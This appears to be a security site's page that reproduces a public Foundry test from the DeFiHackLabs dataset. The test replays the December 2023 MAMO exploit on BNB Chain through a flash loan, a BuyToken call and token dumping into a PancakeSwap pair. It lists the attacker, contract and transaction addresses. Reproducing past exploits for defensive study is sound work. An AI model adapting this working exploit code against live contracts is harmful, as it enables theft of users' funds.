Public reproduction file
src/test/2023-12/MAMO_exp.sol
Public reproduction file for dataset entry MAMO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : $3.3K7// Attacker : https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec48// Attack Contract : https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b49// Vulnerable Contract : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def410// Attack Tx : https://bscscan.com/tx/0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4#code15// @Analysis16// Post-mortem :17// Twitter Guy :18// Hacking God :19import "forge-std/Test.sol";20import "./../interface.sol";22contract ContractTest is Test {23 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));24 DVM dvm = DVM(0xD534fAE679f7F02364D177E9D44F1D15963c0Dd7);25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);26 address tokenAddress = 0x4341bdCEd3908A45835C67A2DbBDe2d2dAA6645D;27 IWBNB MAMO = IWBNB(payable(tokenAddress));28 address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;29 IERC20 usdt = IERC20(payable(usdtAddress));30 IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);31 IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));33 event log_Data(bytes data);35 function setUp() external {36 cheats.createSelectFork("bsc", 34_083_189 - 1);37 }39 function testExploit() external {40 emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", wbnb.balanceOf(address(this)), 18);41 emit log_named_uint("[Begin] Attacker MAMO before exploit", MAMO.balanceOf(address(this)));42 address me = address(this);43 dvm.flashLoan(0, 19_000_000_000_000_000_000, me, "0x21");44 emit log_named_decimal_uint("[End] Attacker WBNB after exploit", wbnb.balanceOf(address(this)), 18);45 emit log_named_uint("[End] Attacker MAMO after exploit", MAMO.balanceOf(address(this)));46 }48 function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes memory data) public {49 wbnb.withdraw(quoteAmount);51 address buyTokenContractAddress = 0xa915Bb6D5C117fB95E9ac2edDaE68AAd5EdB5841;52 (bool successBuyToken,) = buyTokenContractAddress.call{value: quoteAmount}(53 abi.encodeWithSignature("BuyToken(address)", 0x5813d7818c9d8F29A9a96B00031ef576E892DEf4)54 ); // attacker contract gained 95,000,000 MAMO55 require(successBuyToken, "BuyToken failed");57 (uint256 _amount0, uint256 _amount1,) = pair.getReserves();58 uint256 amount_out = router.getAmountOut(9_500_000_000_000_000_000_000_000, _amount0, _amount1);59 pair.swap(0, amount_out, address(this), "");61 uint256 usdtBalance = usdt.balanceOf(address(this));62 usdt.approve(address(router), usdtBalance);64 address[] memory path = new address[](2);65 path[0] = usdtAddress;66 path[1] = address(wbnb);67 uint256[] memory amounts =68 router.swapExactTokensForTokens(usdtBalance, 0, path, address(this), block.timestamp + 60);70 wbnb.transfer(address(dvm), 19_000_000_000_000_000_000); //payback71 }73 fallback() external payable {}74}Analysis
Dataset entry
Public Foundry test for “MAMO” (2023-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x829fe73463ceae6579973b8bcd1e018976040ec4
- Attack Contract
0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4
- Vulnerable Contract
0x5813d7818c9d8f29a9a96b00031ef576e892def4
- Attack Tx
0x189a8dc1e0fea34fd7f5fa78c6e9bdf099a8d575ff5c557fa30d90c6acd0b29f
- Explorer: https://bscscan.com/address/0x829fe73463ceae6579973b8bcd1e018976040ec4
- Explorer: https://bscscan.com/address/0xd7a7d90b63da1b4e7ef79cb36935d38af0d6d0b4
- Explorer: https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4
- Explorer: https://bscscan.com/address/0x5813d7818c9d8f29a9a96b00031ef576e892def4#code
File record
- Name
- MAMO
- Path
- src/test/2023-12/MAMO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9fb3a1ccfca965a6d862b35f04343f1a826044d1
- Language
- Solidity
- Size
- 75 lines
- Date
- 2023-12-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/MAMO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9fb3a1ccfca965a6d862b35f04343f1a826044d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.